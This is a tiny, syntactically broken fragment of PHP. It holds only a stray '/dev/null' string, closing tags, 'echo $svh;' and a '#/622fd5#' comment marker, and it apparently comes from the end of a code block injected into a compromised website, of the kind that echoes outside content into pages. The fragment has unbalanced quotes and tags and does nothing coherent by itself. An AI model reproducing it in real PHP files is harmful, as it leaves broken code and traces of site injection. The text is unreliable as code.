/dev/null"); ?> "; echo $svh; } #/622fd5# ?>